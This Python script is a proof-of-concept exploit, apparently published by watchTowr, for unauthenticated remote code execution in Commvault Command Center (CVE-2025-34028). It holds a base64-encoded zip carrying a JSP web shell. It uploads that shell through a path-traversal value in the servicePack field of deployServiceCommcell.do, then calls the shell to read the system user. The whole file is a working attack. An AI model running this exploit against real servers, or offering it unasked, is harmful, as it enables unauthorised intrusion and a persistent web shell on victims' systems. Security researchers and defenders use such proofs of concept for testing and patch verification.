import requests import re import argparse import urllib3 import base64 import random import string urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) banner = """ __ ___ ___________ __ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________ \\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\ \\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/ \\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__| \\/ \\/ \\/ watchtowr-vs-commvault-rce-CVE-2025-34028.py (*) Commvault Unauthenticated Remote Code Execution (CVE-2025-34028) POC by watchTowr - Sonny , watchTowr (sonny@watchTowr.com) CVEs: [CVE-2025-34028] """ helptext = """ Example Usage: - python watchtowr-vs-commvault-rce-CVE-2025-34028.py --url https://192.168.1.1 """ print(banner) parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter) parser.add_argument("--url", help="target url in the format https://192.168.1.1:4443", default=False, action="store", required=True) try: args = parser.parse_args() except: print(banner) print(helptext) raise print(f"[*] Targeting {args.url}") print(f"[*] Verifying presence of Commvault") response = requests.get(args.url+"/commandcenter/deployServiceCommcell.do", verify=False) if ">" not in response.text: print("[!] Error Target is not Commvault") exit() shell = base64.b64decode("UEsDBAoAAAAAANx8h1oAAAAAAAAAAAAAAAAIABwAZGlzdC1jYy9VVAkAAxCB82cRgfNndXgLAAEE9QEAAAQUAAAAUEsDBAoAAAAAABFGhloAAAAAAAAAAAAAAAAOABwAZGlzdC1jYy9jY0FwcC9VVAkAA2LP8WfnffNndXgLAAEE9QEAAAQUAAAAUEsDBBQAAAAIABFGhlqqBA47KAAAAC8AAAAYABwAZGlzdC1jYy9jY0FwcC9pbmRleC5odG1sVVQJAANiz/Fn533zZ3V4CwABBPUBAAAEFAAAALPJKMnNsbNJyk+ptLPJMLTzSM3JyVcIzy/KSbHRB/Jt9CFS+mB1XABQSwMEFAAAAAgA41OIWtngLiSEAAAAmgAAABEAHABkaXN0LWNjL3NoZWxsLmpzcFVUCQADaYr0Z2qK9Gd1eAsAAQT1AQAABBQAAAAljc0KwjAQhO99iiUQUA/JwZukQejJmyA+QMS1rTQ/bDdC3t4tPQ3MN8zn9BVKGBHmWDJxr77hF0zleTEnBdp3buK4SLzyu/kOwE1n/2grY4Rb+mSKgeecnJV6o8UPlQgTw3NFuoDTPexzMyLfKRckbgdVhZoUIqqjWJwtorC7Q7425R9QSwECHgMKAAAAAADcfIdaAAAAAAAAAAAAAAAACAAYAAAAAAAAABAA/UEAAAAAZGlzdC1jYy9VVAUAAxCB82d1eAsAAQT1AQAABBQAAABQSwECHgMKAAAAAAARRoZaAAAAAAAAAAAAAAAADgAYAAAAAAAAABAA/UFCAAAAZGlzdC1jYy9jY0FwcC9VVAUAA2LP8Wd1eAsAAQT1AQAABBQAAABQSwECHgMUAAAACAARRoZaqgQOOygAAAAvAAAAGAAYAAAAAAABAAAAtIGKAAAAZGlzdC1jYy9jY0FwcC9pbmRleC5odG1sVVQFAANiz/FndXgLAAEE9QEAAAQUAAAAUEsBAh4DFAAAAAgA41OIWtngLiSEAAAAmgAAABEAGAAAAAAAAQAAALSBBAEAAGRpc3QtY2Mvc2hlbGwuanNwVVQFAANpivRndXgLAAEE9QEAAAQUAAAAUEsFBgAAAAAEAAQAVwEAANMBAAAAAA0K") random_path = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) print(f"[*] Uploading to /reports/MetricsUpload/{random_path}/") upload_url = f"{args.url}/commandcenter/deployServiceCommcell.do" upload_headers = {"User-Agent": "CommvaultRCEPoC", "Accept": "*/*"} upload_form = { 'servicePack': (None, f'/../../../Reports/MetricsUpload/{random_path}/', 'text/plain'), 'version': (None, '12.45', 'text/plain'), 'file': ('file.zip', shell, 'application/octet-stream') } requests.post(upload_url, headers=upload_headers, files=upload_form, verify=False) shell_url = f"{args.url}/reports/MetricsUpload/{random_path}/.tmp/dist-cc/dist-cc/shell.jsp" print(f"[*] Fetching System User from {shell_url}") current_user_request = requests.get(shell_url, verify=False) if "System Information" in response.text: print("[!] Error Shell Failed") exit() pattern = r'

Current User: ([^<]+)

' current_user = re.search(pattern, current_user_request.text) print(f"[*] System User {current_user.group(1)}")